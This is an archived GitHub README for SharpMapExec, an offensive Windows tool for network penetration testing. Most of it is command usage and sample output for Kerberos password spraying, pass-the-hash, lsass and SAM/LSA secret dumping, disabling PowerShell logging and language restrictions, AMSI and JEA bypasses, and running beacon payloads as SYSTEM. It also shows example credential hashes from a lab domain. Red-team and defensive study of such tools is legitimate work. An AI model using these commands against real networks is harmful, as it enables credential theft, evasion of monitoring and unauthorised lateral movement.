

GitHub - cube0x0/SharpMapExec

By cube0x0

Archived: 2026-04-02 12:18:49 UTC

A sharpen version of [CrackMapExec](#). This tool is made to simplify penetration testing of networks and to create a swiss army knife that is made for running on Windows which is often a requirement during insider threat simulation engagements.

Besides scanning for access it can be used to identify vulnerable configurations and exfiltrate data. The idea for the data exfiltration modules is to execute the least amount of necessary code on the remote computer. To accomplish this, the tool will download all the secrets to the loot directory and parse them locally.

You can specify if you want to use Kerberos or NTLM authentication. If you choose Kerberos, the tool will create a sacrificial token and use [Rubeus](#) to import/ask for the ticket. If NTLM is specified, the tool will use [SharpKatz](#) `SetThreadToken` or `LogonUser` impersonation.

```
SharpMapExec.exe
```

```
usage:
```

```
--- Cim ---
```

```
Need plaintext password or the /impersonate flag
```

```
SharpMapExec.exe ntlm cim /user:USER /password:PASSWORD /computername:TARGET
```

```
Available Cim modules
```

```
/m:enable_winrm (Runs Enable-PSRemoting -Force)
/m:disable_winrm (Runs Disable-PSRemoting -Force)
/m:disable_pslockdown (Modify __PSLockdownPolicy registry to disable CLM)
/m:disable_pslogging (Modify registry to disable PowerShell Logging)
/m:check_pslockdown (Check __PSLockdownPolicy registry)
/m:check_pslogging (Check PowerShell Logging registry)
```

```
--- Reg32 ---
```

```
SharpMapExec.exe ntlm reg32 /user:USER /ntlm:HASH /computername:TARGET
```

```
SharpMapExec.exe kerberos reg32 </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.K:
```

```
Reg32 modules
```

```
/m:disable_pslockdown (Modify __PSLockdownPolicy registry to disable CLM)
/m:check_pslockdown (Check __PSLockdownPolicy registry)
/m:check_pslogging (Check PowerShell Logging registry)
```

```
--- Smb ---
```

```
SharpMapExec.exe ntlm smb /user:USER /ntlm:HASH /domain:DOMAIN /computername:TARGET
```

```
SharpMapExec.exe kerberos smb </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirt
```

```
Smb modules
  /m:shares                                (Scan for accessible Smb shares)

--- WinRm ---
SharpMapExec.exe ntlm winrm /user:USER /password:PASSWORD /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos winrm </user:USER /rc4:HASH /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /c

WinRm modules
  /m:exec /a:whoami                        (Invoke-Command)
  /m:exec /a:C:\beacon.exe /system         (Invoke-Command as System)
  /m:comsvcs                               (Dump & parse lsass)
  /m:secrets                               (Dump and Parse Sam, Lsa, and System Dpapi blobs)
  /m:assembly /p:Rubeus.exe /a:dump       (Execute local C# assembly in memory)
  /m:assembly /p:beacon.exe /system       (Execute local C# assembly as System in memory)
  /m:assembly /p:getMailBox.exe /delegwalk (Execute local C# assembly in all unique delegation processes)
  /m:download /path:C:\file /destination:file (Download file from host)
  /m:upload /path:C:\file /destination:file (Upload file to host)

--- Domain ---
SharpMapExec.exe kerbspray /users:USERS.TXT /passwords:PASSWORDS.TXT /domain:DOMAIN /dc:DC
SharpMapExec.exe tgtdeleg

--- Ldap ---
SharpMapExec.exe ntlm domain /user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE
SharpMapExec.exe kerberos ldap </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE | /ticket:

Ldap modules
  /m:spraydata                             (Download user and password policy)
```

Smb

Can be used to scan for admin access, accessible Smb shares, Smb version and relay signing.

```
/m:shares                                (Scan enumerated shares for access)
```

WinRm

The beast. It has built-in Amsi bypass, JEA language breakout, JEA function analysis. Can be used for code execution, scanning for PsRemote access, vulnerable JEA endpoints, and data exfiltration.

```
/m:exec /a:whoami                        (Invoke-Command)
/m:exec /a:C:\beacon.exe /system         (Invoke-Command as System)
/m:comsvcs                               (Dump Lsass Process)
/m:secrets                               (Dump and Parse Sam, Lsa, and System Dpapi blobs)
```


Kerberos password spraying then scanning for local admin access

```
PS C:\> .\SharpMapExec.exe kerbspray /users:users.txt /passwords:passwords.txt /domain:htb.local /dc:dc01.htb.local
kerbspray
[+] Valid user => administrator
[+] Valid user => cube
[+] STUPENDOUS => cube:Password123!
[*] Saved TGT into cube.kirbi

[+] Done

PS C:\> .\SharpMapExec.exe kerberos winrm /ticket:cube.kirbi /computername:computers.txt
kerberoswinrm
-----
[*] Ticket: cube.kirbi
[+] TGT imported successfully!

[*] Checking srv01.htb.local
    [+] Local Admin on srv01.htb.local

[*] Checking dev.htb.local
    [-] Could Not Reach dev.htb.local:5985

[*] Checking srv02.htb.local
    [+] Local Admin on srv02.htb.local
```

This project supports scanning JEA endpoints and will analyze source code of non default commands and check if the endpoint was not configured for `no-language` mode.

```
PS C:\> .\SharpMapExec.exe ntlm winrm /user:cube /domain:htb.local /password:Password123! /computername:srv01.htb.local,srv02.htb.local
ntlmwinrm
-----
[*] User: cube
[*] domain: htb.local
[*] secret: Password123!

[*] Checking srv01.htb.local
    [-] Jea Endpoint Detected on srv01.htb.local
[*] Trying Command Bypass
    [+] Non Default Jea Command Found: Invoke-ScriptBlock
    [+] Possible injection vulnerability found
Possible property access injection via dynamic member access. Untrusted input can cause arbitrary static properties to be accessed:
RuleName = InjectionRisk.MethodInjection
Severity = Warning
--- SourceCode ---

param($Command)

[ScriptBlock]::Create($Command).invoke()

--- end ---

[*] Checking srv02.htb.local
    [-] Possible JEA Endpoint on srv02.htb.local
[*] Trying Language Bypass
    [+] Language Bypass Successful
    [+] Local Admin on srv02.htb.local
```

Discover local admin password reuse with an NT hash.

```

PS C:\> .\SharpMapExec.exe ntlm smb /user:administrator /ntlm:2b576acbe6bcfda7294d6bd18041b8fe /computername:computers.txt
ntlmsmb
-----
[*] User: administrator
[*] domain: .
[*] secret: 2b576acbe6bcfda7294d6bd18041b8fe

[*] Checking srv01.hackit.local
[+] Local Admin on srv01.hackit.local
[*] Listing shares on srv01.hackit.local
--- Accessible Shares ---
[+]ADMIN$
[+]C$
--- No Access ---
[-]IPC$

[*] Checking srv02.hackit.local
[+] Local Admin on srv02.hackit.local
[*] Listing shares on srv02.hackit.local
--- Accessible Shares ---
[+]ADMIN$
[+]C$
--- No Access ---
[-]IPC$

```

Mass dump Lsass process with built-in Microsoft signed DLL and saves it to the `loot` folder

```

PS C:\> .\SharpMapExec.exe ntlm winrm /user:administrator /password>Password123! /computername:192.168.1.10 /m:comsvcs
ntlmwinrm
-----
[*] User: administrator
[*] domain: .
[*] secret: Password123!

[*] Checking 192.168.1.10
[*] Dumping lsass
[*] Copying lsass dump
=====
[*] LogonId: 0:324645
[*] LogonType: Service
[*] Session: 0
[*] LogonTime: 2021-09-19 13:12:08
[*] UserName: DefaultAppPool
[*] SID: S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
[*] LogonDomain: IIS APPPOOL
[*] Msv
DomainName: HACKIT
UserName: DC01$
NT: 563539eee5ec24ad11fb342b37c05b6d
Sha1: 535b75b70e37b3e8500c82b8dca11e42676af12a
[*] Kerberos
DomainName: hackit.local
UserName: DC01$
Password: 03 41 2f c9 03 60 63 65 77 47 bf dc cb 79 1e 39 0d 7a 36 54 bc 7b 03 c1 ff e5 77 d3 b8 3b ca ba 34 83 b4 1c 57 39 06 1b f4 5e cc
ce ba 35 50 df 5f f8 dc 43 46 5a 76 02 7a 25 10 46 ac 10 a2 eb 23 72 5a 25 61 1f 4c c5 7f a0 d2 ec 91 ec 4b 37 60 fd 14 39 3d e3 44 f5 4a d2 d5
fb 2f e7 6f 76 cc 83 68 cb b2 c7 c2 69 ce ce 6e 09 57 6f 06 82 22 8c 5e c7 3b fe 18 48 8d 2a f7 42 04 f8 7d c9 55 f8 dd 56 6a 5a 55 b7 0c 69 ed
3a 0c 93 78 27 6c a6 47 bb 10 f6 11 8a f0 af 7a 29 c4 33 13 0b 23 e1 11 54 86 f5 75 41 d6 e1 57 ce eb d6 19 e6 45 75 fc cd c6 e3 26 a5 d7 d7 28
59 61 25 63 7b c6 b0 59 75 2e 3a 40 42 ea e7 26 5c 69 a0 55 cc 93 a4 8a 8a 66 9f 06 af c4 5f 82 c2 fb 05 93 2b 80 af b1 d5 e1 dc ec 47 85 dc 44
80 32 e7 ab 9e d2 e7 93 b0 a1 f2 90 70 bc 53 a1 d8 1e 4a 45 d6 73 64 9a 53 94 f4 80 0e bc 68 12 62 81 2e 44 a9 69 16 94 dd 90 08 51 91 80 c3 03
fc 88 66 40 ed 96 6d 19 b7 79 03 e9 2d 60 9a 7a 2c fa 3c 42 4a 76 53 a2 f0 ce e1 cc 4d 19 a4 8c d6 2c 5a f0 e4 d3 66 03 ea 2f a6 7d 46 2c 5c 8e
b4 cd e0 61 5d e6 2a 7a 41 12 a4 ba 3a f9 d2 0b a1 d9 4d ec 7b d7 02 2d 88 c8 dc 07 90 b0 ec 6d 04 ea cd 17 a2 92 f0 84 16 19 d9 6d 6c 55 cd 80
99 5e d8 c2 1e e6 8f f8 47 04 ac 4c 5c e8 df 0b ff 0b ec 37 da 38 fa 06 1b 84 da c2 70 a2 f4 66 b9 08 ac c7 40 f5 dc a2 cb 55 a7 72 70 9d f5 dd
65 51 65 6f 47 fd 2c 02 93 6b 24 ce e8 3d 85 4e 22 3a cb 54 7a 7a 4f 8a af 1a 52 64 69 9d 7e d8 85 22 3a 74 f5 75 c4 4b b8 02 ac 6a 4b f1 c1 02
8e 90 f4 91 4d 3a ed 31 4b e2 e4 30 2b d4 06 7e a0 03 f7 9c ce a2 d4 c0 94 bd 96 64 67 81 34 77 1c ec 1a e6 64
NT: 563539EEE5EC24AD11FB342B37C05B6D

```

Executes in all delegation processes sorted by unique by users

```
PS C:\> .\SharpMapExec.exe ntlm winrm /user:administrator /password>Password123! /computername:192.168.1.10 /m:exec /a:whoami /delegwalk
ntlmwinrm
-----
[*] User: administrator
[*] domain: .
[*] secret: Password123!

[*] Checking 192.168.1.10
[+] Received Stdout From 192.168.1.10
[*] UserName: dsc
[*] Pid: 5900
hackit\dsc

[*] UserName: Administrator
[*] Pid: 4488
hackit\administrator
```

Scan for SMB signing and SMBv1

```
PS C:\> .\SharpMapExec.exe ntlm smb /user:administrator /password>Password123! /computername:192.168.1.10 /m:comsvcs
ntlmsmb
-----
[*] User: anon
[*] domain: .
[*] secret: anon

[*] Checking 192.168.1.10
[*] SMB Versions: [+]SMBv1 [+]SMBv2(0x0202) [+]SMBv2(0x0210) [+]SMBv3(0x0300) [+]SMBv3(0x0302) [-]SMBv3(0x0311)
[*] SMBv1 Signing: [-]Signing Not Required
[*] SMBv2+ Signing: [+]Signing Required
[*] OS Version: HACKIT - 10.0.17763
[-] Failed to authenticate on 192.168.1.10
```

And much more!

Some scenarios with Kerberos will require you to sync your clock with the DC and set the DNS

```
net time \\DC01.hackit.local /set
Get-NetAdapter ethernet0* | Set-DnsClientServerAddress -ServerAddresses @('192.168.1.10')
```

Acknowledgments

Projects that helped or are existing in this tool

- [Rubeus @Harmj0y](#)
- [SharpDPAPI @Harmj0y](#)
- [SharpKatz @b4rtik](#)
- [Amsi.Fail @Flangvik](#)
- [SharpSecDump @G0ldenGunSec](#)
- [CrackMapExec @byt3bl33d3r](#)
- [Pingcastle @mysmartlogon](#)
- [SharpSpray](#)